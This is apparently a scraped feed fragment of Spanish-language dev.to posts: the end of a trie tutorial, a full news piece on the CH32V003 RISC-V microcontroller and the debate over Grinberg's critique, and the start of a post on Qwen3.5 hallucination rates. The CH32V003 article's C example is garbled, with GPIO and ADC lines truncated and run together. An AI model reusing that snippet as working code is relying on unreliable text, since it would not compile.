&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buscador&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sugerir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# ['python', 'pytest', 'pyplot']
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sugerir(prefijo) primero camina hasta el nodo del prefijo, igual que buscar, y desde ahí hace una recorrida en profundidad (DFS) recolectando todas las palabras completas que cuelgan de ese punto. Este es literalmente el algoritmo que corre detrás de cualquier barra de búsqueda con sugerencias en tiempo real.&lt;br&gt;
Cada bifurcación es un carácter, no una palabra completa todavía.&lt;/p&gt;
&lt;h2&gt;
  
  
  Cómo empezar: implementar y usar un trie paso a paso
&lt;/h2&gt;

&lt;p&gt;No hace falta instalar nada para probar los ejemplos anteriores: node autocomplete.js o python autocomplete.py corren directo. Para un caso real, seguí estos pasos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Definí el alfabeto:&lt;/strong&gt; ¿tu clave usa solo minúsculas a-z, o necesitás soportar tildes, ñ y unicode completo? Si es lo segundo, usá un Map o dict para los hijos en vez de un array fijo de 26 posiciones.- &lt;strong&gt;Insertá el diccionario completo al arrancar:&lt;/strong&gt; la inserción es O(L) por palabra, pero repetirla en cada request es trabajo desperdiciado.- &lt;strong&gt;Exponé dos métodos públicos:&lt;/strong&gt; buscar(clave) para existencia exacta, y sugerir(prefijo, limite) para autocompletado. Limitá siempre el número de resultados: un prefijo de una sola letra puede colgar miles de palabras.- &lt;strong&gt;Usá una librería madura si existe:&lt;/strong&gt; en Python, pygtrie (mantenida por Google) implementa tries con soporte para claves compuestas por listas, no solo strings. Se instala con pip install pygtrie.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Para confirmar que tu trie realmente evita el recorrido completo, medí cuántos nodos visita sugerir(): debería ser igual a la longitud del prefijo más el tamaño del subárbol resultante, nunca el tamaño total del diccionario. Un contador simple dentro de _recolectar alcanza para verificarlo.&lt;/p&gt;
&lt;h2&gt;
  
  
  Casos de uso reales
&lt;/h2&gt;

&lt;p&gt;Autocompletado y corrección ortográfica: cualquier barra de búsqueda que sugiere mientras escribís, sea un IDE, un buscador de comandos o el teclado de un teléfono, recorre un trie o una variante comprimida de uno. El motor de búsqueda de &lt;a href="https://lucene.apache.org/" rel="noopener noreferrer"&gt;Apache Lucene&lt;/a&gt;, base de Elasticsearch y Solr, usa autómatas de estados finitos (FST) que son, en esencia, tries comprimidos y ordenados alfabéticamente.&lt;/p&gt;

&lt;p&gt;Ruteo IP: las tablas de ruteo de un router no buscan una IP exacta, buscan el prefijo de red más largo que coincide (longest prefix match). Cada bit de la dirección IP funciona como un carácter de un alfabeto binario, y el router camina un trie binario para decidir por qué interfaz de red sale el paquete.&lt;br&gt;
Cada bit de la IP elige la rama del prefijo más largo.&lt;br&gt;
Diccionarios de juegos de palabras y correctores: resolutores de Scrabble, verificadores ortográficos y los sistemas T9 de teclados antiguos usan tries para validar si una secuencia de letras puede seguir formando una palabra válida, sin recorrer el diccionario completo en cada tecla.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 Tip:&lt;/strong&gt; si tu prefijo típico tiene pocos caracteres pero el diccionario es enorme, un trie gana claramente. Si tus claves son en su mayoría aleatorias y solo buscás igualdad exacta, un hash table simple suele ser más rápido y más simple de mantener.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Errores comunes y buenas prácticas
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Olvidar la marca de fin de palabra:&lt;/strong&gt; si insertás casa y buscás cas, un trie mal implementado puede devolver true solo porque el camino existe. Siempre distinguí el camino existe de esto es una palabra completa.- &lt;strong&gt;Usar un array fijo de 26 posiciones con texto en español:&lt;/strong&gt; eso excluye tildes y ñ directamente, o te obliga a normalizar el texto antes de insertar, lo cual puede ser válido, pero tiene que ser una decisión explícita, no un error accidental.- &lt;strong&gt;No limitar los resultados de sugerir():&lt;/strong&gt; un prefijo corto en un diccionario grande puede colgar decenas de miles de palabras. Sin un límite, o sin ordenar por frecuencia de uso, el recorrido completo se vuelve costoso aunque el algoritmo en sí sea eficiente.- &lt;strong&gt;Usar un trie para claves aleatorias sin prefijos compartidos:&lt;/strong&gt; ahí un trie desperdicia memoria, un nodo por dígito sin nada que compartir, y un hash table simple gana en todos los frentes.- &lt;strong&gt;No comprimir cadenas de un solo hijo:&lt;/strong&gt; un trie ingenuo crea un nodo por cada carácter aunque no haya ninguna bifurcación. Para diccionarios grandes con poco solapamiento, eso es memoria desperdiciada; la solución es un radix tree.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Comparativa con alternativas
&lt;/h2&gt;

&lt;p&gt;EstructuraCuándo usarlaVentajaLimitaciónTrieAutocompletado, prefijos, diccionariosBúsqueda por prefijo nativa en O(L)Un nodo por carácter: memoria alta con muchas palabras únicasHash tableIgualdad exacta, claves sin relación entre síBúsqueda y escritura O(1) en promedioNo resuelve búsquedas por prefijo sin recorrer todoÁrbol binario de búsqueda balanceadoRangos ordenados, iteración en ordenRecorrido ordenado nativo en O(log N)Compara la clave completa en cada nodo: más lento que un trie para prefijosRadix tree (PATRICIA trie)Tablas de ruteo IP, diccionarios muy grandesComprime cadenas sin bifurcación: menos nodos que un trie planoImplementación más compleja que un trie ingenuo&lt;/p&gt;
&lt;h2&gt;
  
  
  Profundizando
&lt;/h2&gt;

&lt;p&gt;El problema práctico de un trie ingenuo es que, si tenés muchas palabras largas con poco solapamiento, terminás con una cadena larga de nodos de un solo hijo cada uno, gastando un nodo entero por letra sin ninguna bifurcación real. Un &lt;a href="https://en.wikipedia.org/wiki/Radix_tree" rel="noopener noreferrer"&gt;radix tree o PATRICIA trie&lt;/a&gt; resuelve esto colapsando esas cadenas en un único nodo que almacena el substring completo, no un solo carácter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart LR
    subgraph "Trie plano"
    A1["c"] --&amp;gt; A2["a"]
    A2 --&amp;gt; A3["r"]
    A3 --&amp;gt; A4["r"]
    A4 --&amp;gt; A5["o"]
    end
    subgraph "Radix tree comprimido"
    B1["carro"]
    end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esa compresión es la razón por la que las tablas de ruteo IP reales no usan un trie binario ingenuo bit por bit: usan variantes tipo PATRICIA, donde un solo nodo puede representar un bloque completo de bits sin bifurcación, reduciendo drásticamente la cantidad de nodos a recorrer y la memoria usada.&lt;/p&gt;

&lt;p&gt;Otra variante es el trie de sufijos, o su versión comprimida, el árbol de sufijos, que en vez de indexar palabras completas indexa todos los sufijos de un texto. Eso permite responder si una subcadena aparece en el texto en tiempo proporcional al largo de la subcadena buscada, sin importar qué tan largo sea el texto original: es la base de herramientas de búsqueda genómica y de algunos motores de búsqueda de código fuente.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📌 Nota:&lt;/strong&gt; un trie con un Map por nodo en JavaScript tiene un costo real de memoria: cada Map vacío consume memoria propia. Para diccionarios de millones de palabras en producción, medí el uso de memoria real con tu motor de JavaScript o Python antes de asumir que un trie ahorra memoria solo por compartir prefijos; a veces un radix tree es más compacto.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Tu próximo paso: agregale a la clase Autocompletador un método que ordene sugerir(prefijo) por frecuencia de uso en vez de por orden alfabético, guardando un contador en cada nodo de fin de palabra.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Qué significa la palabra trie?
&lt;/h3&gt;

&lt;p&gt;Viene de retrieval, recuperación en inglés. Edward Fredkin propuso el término en 1960 para distinguirlo de tree, aunque en la práctica casi todo el mundo lo pronuncia igual que try.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Cuál es la complejidad de búsqueda en un trie?
&lt;/h3&gt;

&lt;p&gt;O(L), donde L es la longitud de la clave buscada. No depende de cuántas claves totales tenga el trie, a diferencia de un árbol binario de búsqueda balanceado, que es O(log N).&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Un trie ocupa más memoria que un hash table?
&lt;/h3&gt;

&lt;p&gt;Depende de cuánto solapan las claves. Si comparten muchos prefijos, como palabras de un mismo idioma, un trie puede ser más compacto. Si las claves son mayormente aleatorias sin prefijos comunes, un trie desperdicia memoria en nodos que casi no se reutilizan.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué diferencia hay entre un trie y un árbol binario de búsqueda?
&lt;/h3&gt;

&lt;p&gt;Un árbol binario de búsqueda compara la clave completa en cada nodo para decidir ir a la izquierda o a la derecha. Un trie no compara claves: usa cada carácter para decidir a qué hijo bajar, y puede tener más de dos hijos por nodo.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Dónde se usan los tries en el mundo real?
&lt;/h3&gt;

&lt;p&gt;Autocompletado de barras de búsqueda y de comandos, correctores ortográficos, tablas de ruteo IP como radix trees, motores de búsqueda de texto que usan FSTs derivados de tries, y diccionarios de juegos de palabras.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Cómo optimizo la memoria de un trie muy grande?
&lt;/h3&gt;

&lt;p&gt;Usá un radix tree (PATRICIA trie) para comprimir cadenas sin bifurcación en un solo nodo, o cambiá los hijos de cada nodo de un array fijo a un Map o dict si tu alfabeto es grande pero disperso.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://en.wikipedia.org/wiki/Trie" rel="noopener noreferrer"&gt;Wikipedia: Trie&lt;/a&gt;: definición formal, historia del término y propiedades de complejidad.- &lt;a href="https://en.wikipedia.org/wiki/Radix_tree" rel="noopener noreferrer"&gt;Wikipedia: Radix tree&lt;/a&gt;: la variante comprimida (PATRICIA) usada en tablas de ruteo IP.- &lt;a href="https://lucene.apache.org/" rel="noopener noreferrer"&gt;Apache Lucene&lt;/a&gt;: motor de búsqueda que usa autómatas de estados finitos derivados de tries para indexar texto.- &lt;a href="https://en.wikipedia.org/wiki/Autocomplete" rel="noopener noreferrer"&gt;Wikipedia: Autocomplete&lt;/a&gt;: contexto sobre los sistemas de sugerencia que se apoyan en estructuras como el trie.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>programming</category>
      <category>tutorial</category>
      <category>webdev</category>
      <category>beginners</category>
    </item>
    <item>
      <title>CH32V003: el microcontrolador RISC-V de 10 centavos divide a la comunidad</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Mon, 17 Aug 2026 08:25:31 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/ch32v003-el-microcontrolador-risc-v-de-10-centavos-divide-a-la-comunidad-46fh</link>
      <guid>https://dev.to/lu1tr0n/ch32v003-el-microcontrolador-risc-v-de-10-centavos-divide-a-la-comunidad-46fh</guid>
      <description>&lt;p&gt;El CH32V003, un microcontrolador &lt;strong&gt;RISC-V&lt;/strong&gt; de apenas 10 centavos de dólar, es el centro de la respuesta que un ingeniero embebido de Trinidad y Tobago publicó el 16 de agosto de 2026 contra uno de los ataques más duros que ha recibido la arquitectura en años.&lt;/p&gt;

&lt;p&gt;El artículo original, de Dmitry Grinberg, llegó a la portada de Hacker News y encendió una discusión larga en Lobsters. La réplica, publicada en rvembedded.com, no defiende cada decisión del comité de RISC-V: ataca un punto distinto, el que casi nadie discutió en esos hilos.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Dmitry Grinberg publicó "RISC-V: They Should Have Known Better" y llegó a la portada de Hacker News.- Un ingeniero embebido de Trinidad y Tobago respondió el 16 de agosto de 2026 en rvembedded.com.- El CH32V003 es un microcontrolador RISC-V RV32EC de unos 10 centavos de dólar, con 2 KB de RAM y 16 KB de flash.- Grinberg dedujo desde cero los requisitos de un núcleo barato y llegó exactamente a RV32EC, el que usa el CH32V003.- El propio Grinberg escribió que está "100% seguro" de que RISC-V dominará el segmento de microcontroladores desechables.- El autor pagó entre US$60 y US$200 de envío por chips de un dólar, sin el envío gratuito habitual en EE.UU. y Europa.- Usó el CH32V003 en dos productos reales: un monitor de contenedores con sensor ToF y un controlador agrícola de puertas.- El debate sigue abierto en Lobsters sin resolución técnica posible: es una discusión sobre acceso, no solo sobre encoding.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Qué pasó
&lt;/h2&gt;

&lt;p&gt;Dmitry Grinberg publicó &lt;em&gt;"RISC-V: They Should Have Known Better"&lt;/em&gt;, un ensayo extenso sobre las decisiones de codificación de instrucciones que, según él, hacen de RISC-V una arquitectura mal diseñada tanto para procesadores de alto rendimiento como para microcontroladores baratos. El texto llegó a la portada de Hacker News y generó un hilo largo en Lobsters, dos de los foros donde más se discute diseño de hardware entre ingenieros de software y firmware.&lt;/p&gt;

&lt;p&gt;La respuesta llegó tres días después, el 16 de agosto de 2026, cuando un ingeniero que trabaja desde Trinidad y Tobago publicó &lt;a href="https://rvembedded.com/blog_post/12/" rel="noopener noreferrer"&gt;su réplica&lt;/a&gt; en rvembedded.com. Su punto de partida no es técnico: es geográfico. Antes de opinar sobre codificación de instrucciones, describe lo que cuesta conseguir un chip de un dólar cuando vivís fuera de Estados Unidos o Europa.&lt;/p&gt;

&lt;h2&gt;
  
  
  Contexto e historia
&lt;/h2&gt;

&lt;p&gt;RISC-V es una arquitectura de conjunto de instrucciones (ISA) abierta y libre de regalías, desarrollada originalmente en UC Berkeley y hoy gobernada por RISC-V International. A diferencia de ARM o x86, cualquier fabricante puede implementar el núcleo sin pagar licencia, lo que abarató drásticamente los microcontroladores más simples.&lt;/p&gt;

&lt;p&gt;El chip que discute el artículo es el CH32V003, fabricado por la empresa china WCH, que implementa &lt;strong&gt;RV32EC&lt;/strong&gt;, una variante reducida de RISC-V de 32 bits con extensión de instrucciones comprimidas. El autor de la réplica no lo eligió al azar: lo usa en producción desde hace más de un año. En 2025 publicó un video titulado "Goodbye STM32 ARM, Meet the CH32 RISC-V Chips That Replaced It!" donde documentó su migración completa desde ARM hacia esta familia de chips.&lt;/p&gt;

&lt;p&gt;Su argumento central no ataca la elegancia del encoding de instrucciones, que reconoce imperfecto (los offsets de las instrucciones comprimidas de store le parecen extraños, y Zicsr debería venir incluido por defecto en vez de ser una extensión aparte que hay que recordar pedir). Ataca la premisa de que el diseño de la ISA es lo único que importa. Cuenta que pagó entre &lt;strong&gt;US$60 y US$200 de envío&lt;/strong&gt; por pedidos de chips de un dólar, mientras que comprar en Digikey o Mouser con envío gratuito es la norma para un desarrollador en Estados Unidos o Europa. Una empresa de fabricación de placas que lo había contactado para un posible patrocinio retiró la oferta apenas supo desde dónde despachaba.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detalles técnicos del microcontrolador RISC-V CH32V003
&lt;/h2&gt;

&lt;p&gt;Antes de las quejas sobre el encoding, Grinberg hace un ejercicio distinto: se pregunta para qué sirve realmente un núcleo de microcontrolador barato. Su respuesta es que vive dentro de un chip más grande, activando registros y configurando bloques de hardware (su ejemplo es un reproductor MP3, una lectora de tarjetas SD, una memoria USB). El trabajo real lo hace el silicio a medida alrededor del núcleo, no el núcleo mismo.&lt;/p&gt;

&lt;p&gt;De ahí deriva los requisitos: baja latencia de interrupción, poca área de silicio y buena densidad de código, porque el código vive en ROM o SRAM y ambas son caras por byte. Sin multiplicador ni divisor por hardware, porque casi no hay aritmética pesada. Sin separación de privilegios, porque nunca corre nada que no sea de confianza.&lt;/p&gt;

&lt;p&gt;Y entonces escribe la frase él mismo: &lt;em&gt;"Pero", podrías decir, "¡acabás de describir RV32IC (o RV32EC)!"&lt;/em&gt;. Más adelante, sin rodeos, admite: &lt;em&gt;"Estoy 100% seguro de que RISC-V va a quedarse con el segmento de microcontroladores baratos y desechables, eventualmente."&lt;/em&gt; El crítico más citado del mes dedujo desde cero, con lápiz y papel, el conjunto de instrucciones que ya implementa un chip de diez centavos, y luego pasó el resto del artículo molesto porque ese chip existe.&lt;/p&gt;

&lt;p&gt;El CH32V003 en sí tiene especificaciones mínimas: 16 registros de propósito general (la "E" de RV32E, contra los 32 registros de la variante estándar RV32I), 2 KB de SRAM, 16 KB de flash, sin multiplicador, sin divisor y solo modo máquina, sin niveles de privilegio adicionales. Es literalmente el núcleo que Grinberg describió como ideal antes de criticar que existiera.&lt;br&gt;
El CH32V003 implementa RV32EC: 16 registros, sin multiplicador ni divisor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;flowchart TD
    A["Nucleo barato dentro de un chip mayor"] --&amp;gt; B["Baja latencia de interrupcion"]
    A --&amp;gt; C["Poca area de silicio"]
    A --&amp;gt; D["Buena densidad de codigo"]
    A --&amp;gt; E["Sin multiplicador ni divisor"]
    A --&amp;gt; F["Sin separacion de privilegios"]
    B --&amp;gt; G["RV32EC"]
    C --&amp;gt; G
    D --&amp;gt; G
    E --&amp;gt; G
    F --&amp;gt; G
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OpciónCuándo usarlaVentajaLimitaciónCH32V003 (RISC-V RV32EC)Proyectos de volumen alto donde el costo unitario define el diseñoRonda los 10 centavos de dólar y usa una ISA abiertaSin multiplicador ni divisor por hardware, solo modo máquinaSTM32C0 (ARM Cortex-M0+)Cuando ya existe código o librerías ARM que no conviene portarEcosistema HAL maduro y depuración con herramientas ARM estándarSujeto a la misma logística de importación que cualquier otro chip ARMATtiny402 (AVR de 8 bits)Proyectos simples sin necesidad de aritmética de 32 bitsToolchain avr-gcc probado durante décadasCódigo menos denso que RISC-V comprimido en lógica compleja&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💭 Clave:&lt;/strong&gt; Grinberg dedujo desde primeros principios el núcleo ideal para un microcontrolador barato y llegó exactamente a RV32EC. Su enojo no es con la ingeniería, es con que el resultado le parece casualidad, no mérito.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Cómo probar un CH32V003 vos mismo
&lt;/h2&gt;

&lt;p&gt;El chip se consigue en placas de desarrollo de bajo costo y el toolchain para programarlo es abierto. El proyecto más usado es &lt;a href="https://github.com/cnlohr/ch32v003fun" rel="noopener noreferrer"&gt;ch32v003fun&lt;/a&gt;, mantenido por el ingeniero de hardware Charles Lohr, que expone los registros del chip sin una capa HAL pesada.&lt;/p&gt;

&lt;p&gt;Instalación en Linux (Debian/Ubuntu):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;git make gcc
git clone https://github.com/cnlohr/ch32v003fun.git
&lt;span class="nb"&gt;cd &lt;/span&gt;ch32v003fun/ch32v003fun
make flash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instalación en macOS (con Homebrew):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;brew &lt;span class="nb"&gt;install &lt;/span&gt;git make
git clone https://github.com/cnlohr/ch32v003fun.git
&lt;span class="nb"&gt;cd &lt;/span&gt;ch32v003fun/ch32v003fun
make flash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instalación en Windows (vía WSL2, la ruta más estable porque el toolchain RISC-V está pensado para Linux):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wsl &lt;span class="nt"&gt;--install&lt;/span&gt;
wsl
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;git make gcc
git clone https://github.com/cnlohr/ch32v003fun.git
&lt;span class="nb"&gt;cd &lt;/span&gt;ch32v003fun/ch32v003fun
make flash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El repositorio descarga el compilador cruzado RISC-V la primera vez que corrés &lt;code&gt;make&lt;/code&gt;. El comando &lt;code&gt;make flash&lt;/code&gt; compila el ejemplo y lo graba en el chip a través de un programador WCH-LinkE conectado por el pin SWIO.&lt;/p&gt;

&lt;p&gt;El ejemplo mínimo enciende y apaga un LED escribiendo directamente los registros del puerto GPIO, sin capa de abstracción intermedia:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

#include "ch32v003fun.h"

int main() {
    SystemInit();
    RCC-&amp;gt;APB2PCENR |= RCC_APB2Periph_GPIOC;
    GPIOC-&amp;gt;CFGLR &amp;amp;= ~(0xf CFGLR |= (GPIO_Speed_10MHz | GPIO_CNF_OUT_PP) BSHR = (1 BSHR = (1 APB2PCENR |= RCC_APB2Periph_GPIOA | RCC_APB2Periph_ADC1;
    ADC1-&amp;gt;RSQR3 = 0;
    ADC1-&amp;gt;CTLR2 |= ADC_ADON;
    Delay_Ms(1);
    ADC1-&amp;gt;CTLR2 |= ADC_ADON;

    while (1) {
        ADC1-&amp;gt;CTLR2 |= ADC_SWSTART;
        while (!(ADC1-&amp;gt;STATR &amp;amp; ADC_EOC));
        uint16_t muestra = ADC1-&amp;gt;RDATAR;

        if (muestra &amp;gt; UMBRAL_SENSOR) {
            GPIOC-&amp;gt;BSHR = (1 BSHR = (1  **⚠️ Ojo:** sin multiplicador ni divisor por hardware, cualquier operación aritmética que no sea suma o desplazamiento de bits se resuelve en software. Para filtros digitales, criptografía o procesamiento de señal, el CH32V003 no es la elección correcta: ahí conviene un núcleo con la extensión M.

## Impacto y análisis

El desacuerdo de fondo no es sobre si el CH32V003 es un buen chip. Es sobre si el argumento de Grinberg (que las necesidades de un procesador de alto rendimiento son diametralmente opuestas a las de un núcleo barato, y que por lo tanto ninguna ISA puede servir bien a los dos extremos) sostiene su propia conclusión. El autor de la réplica responde con lo que tiene sobre su escritorio: el mismo estándar RISC-V cubre desde el CH32V003 de diez centavos hasta núcleos de aplicación con MMU y multiplicación de doble precisión, con extensiones que cada implementación activa o ignora según lo que necesite.

Ese es, en el fondo, el diseño modular de RISC-V: una base entera obligatoria y decenas de extensiones opcionales (M para multiplicación, C para instrucciones comprimidas, A para atómicas, F y D para punto flotante) que un fabricante combina según el mercado. Grinberg lo ve como una fuente de fragmentación. El autor de Trinidad y Tobago lo ve como la razón por la que un mismo ecosistema de herramientas puede compilar tanto para el CH32V003 como para un núcleo de aplicación mucho más grande.

El argumento más fuerte de la réplica, sin embargo, no es de arquitectura: es de acceso. Para un estudiante en Nigeria, Bangladesh o el Caribe, la diferencia entre un chip de diez centavos y uno de un dólar no es un redondeo, es la diferencia entre que treinta estudiantes de un curso tengan cada uno su propio chip o que treinta estudiantes miren una sola placa de demostración, si es que llega alguna. La elegancia del encoding de instrucciones es un lujo que se puede discutir una vez que el hardware ya está sobre el escritorio. Que el hardware llegue al escritorio es la pregunta anterior, y ninguna de las quejas sobre offsets comprimidos la responde.
Con 30 alumnos por curso, 10 centavos contra un dólar decide quién tiene chip propio.
El autor menciona además un libro propio, todavía en un 80% de avance, dedicado exclusivamente a documentar cada una de las particularidades del CH32V003 que un desarrollador nuevo termina golpeándose la cabeza al descubrir: la ausencia de Zicsr por defecto, los offsets extraños de las instrucciones de store comprimidas, y otras decisiones del encoding que Grinberg también señala en su artículo. En eso, ambos coinciden: el ISA tiene aristas reales. Donde discrepan es en si esas aristas invalidan el proyecto completo.

## Qué sigue

La discusión sigue abierta en Lobsters y en los comentarios de ambos artículos, y no tiene un cierre técnico posible: es, en el fondo, un desacuerdo sobre qué problema está tratando de resolver RISC-V primero. Mientras tanto, el CH32V003 y chips similares de la familia CH32, fabricados por WCH, siguen apareciendo en proyectos hobbistas documentados públicamente, como el interruptor activado por silbido que el propio autor de la réplica construyó y mostró en video.

A corto plazo, lo más probable es que el debate no cambie el diseño de la ISA (RISC-V International ya fijó las extensiones base) pero sí influya en cómo se enseña arquitectura de computadoras en universidades con presupuesto limitado, donde el costo por estudiante ya es, para muchos programas, el factor que decide si la materia se dicta con hardware real o solo con simuladores.

📖 Resumen en Telegram: [Ver resumen](#)

Probalo vos: cloná [ch32v003fun](https://github.com/cnlohr/ch32v003fun) y corré `make flash` sobre una placa CH32V003 de pocos dólares para ver el blink corriendo en minutos.

## Preguntas frecuentes

### ¿Qué es el CH32V003?

Es un microcontrolador de 32 bits fabricado por la empresa china WCH que implementa RV32EC, una variante reducida de RISC-V con instrucciones comprimidas. Cuesta alrededor de 10 centavos de dólar por unidad en volumen.

### ¿Qué significa RV32EC?

RV32 indica una arquitectura RISC-V de 32 bits. La "E" señala el subconjunto Embedded, con 16 registros de propósito general en vez de los 32 habituales. La "C" indica soporte de instrucciones comprimidas de 16 bits, que mejoran la densidad de código.

### ¿Por qué Dmitry Grinberg critica a RISC-V si él mismo predijo que ganaría el segmento barato?

Su objeción no es que RISC-V vaya a dominar ese segmento, sino que considera que ciertas decisiones de encoding, como los offsets de las instrucciones de store comprimidas o que Zicsr sea una extensión separada, son defectos de diseño evitables, más allá de que el resultado final funcione.

### ¿El CH32V003 puede reemplazar cualquier proyecto con STM32 o ATtiny?

No en todos los casos. Al no tener multiplicador ni divisor por hardware, tareas con aritmética intensiva, como procesamiento de señal o criptografía, rinden peor que en un chip con esas unidades. Para tareas de control simple, como leer sensores o manejar salidas digitales, es una alternativa válida y más barata.

### ¿Qué programador hace falta para grabar el chip?

Un adaptador WCH-LinkE, que se conecta por el pin SWIO del chip y cuesta pocos dólares. El mismo adaptador también permite depurar con puntos de interrupción.

### ¿Existe un toolchain completamente open source para el CH32V003?

Sí. El proyecto [ch32v003fun](https://github.com/cnlohr/ch32v003fun) ofrece ejemplos, definiciones de registro y un flujo de compilación basado en GCC para RISC-V, sin depender del IDE propietario de WCH.

## Referencias

- [rvembedded.com](https://rvembedded.com/blog_post/12/): la réplica completa de un ingeniero embebido de Trinidad y Tobago al artículo de Dmitry Grinberg, publicada el 16 de agosto de 2026.- [dmitry.gr](https://dmitry.gr/): sitio de Dmitry Grinberg, autor de "RISC-V: They Should Have Known Better", el artículo que originó la discusión.- [github.com/cnlohr/ch32v003fun](https://github.com/cnlohr/ch32v003fun): toolchain y ejemplos open source para programar el CH32V003 sin el IDE propietario de WCH.- [riscv.org](https://riscv.org/): sitio oficial de RISC-V International, la organización que mantiene las especificaciones de la arquitectura.- [en.wikipedia.org/wiki/RISC-V](https://en.wikipedia.org/wiki/RISC-V): referencia general sobre el conjunto de instrucciones RISC-V y sus extensiones.

📱 **¿Te gusta este contenido?** Únete a nuestro canal de Telegram [@programacion](https://t.me/programacion) donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>hardware</category>
      <category>technology</category>
      <category>programming</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Qwen3.5 alucina el 82% de los hechos pese a razonar como GLM-5.2</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Sun, 16 Aug 2026 20:26:10 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/qwen35-alucina-el-82-de-los-hechos-pese-a-razonar-como-glm-52-97</link>
      <guid>https://dev.to/lu1tr0n/qwen35-alucina-el-82-de-los-hechos-pese-a-razonar-como-glm-52-97</guid>
      <description>&lt;p&gt;GLM-5.2 resuelve el 99,2% de los problemas de &lt;a href="https://w4g1.dev/blog/models-are-getting-dumber-on-purpose" rel="noopener noreferrer"&gt;AIME 2026&lt;/a&gt; con apenas 40.000 millones de parámetros activos por token, una fracción de los cerca de 280.000 millones que se rumoreaba usaba GPT-4 en 2023 para apenas resolver algún problema de la misma prueba. El truco no es magia: los laboratorios están vaciando el &lt;strong&gt;conocimiento factual&lt;/strong&gt; de los modelos para dejar espacio al razonamiento puro.&lt;/p&gt;

&lt;p&gt;Preguntale a esos mismos modelos compactos un dato duro sin darles herramientas externas, y la ilusión se rompe. Qwen3.5 de 9.000 millones de parámetros alucina hasta el 82% de las veces cuando no sabe la respuesta, según &lt;a href="https://artificialanalysis.ai" rel="noopener noreferrer"&gt;Artificial Analysis&lt;/a&gt;. El conocimiento factual no desapareció: se movió fuera de los pesos.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
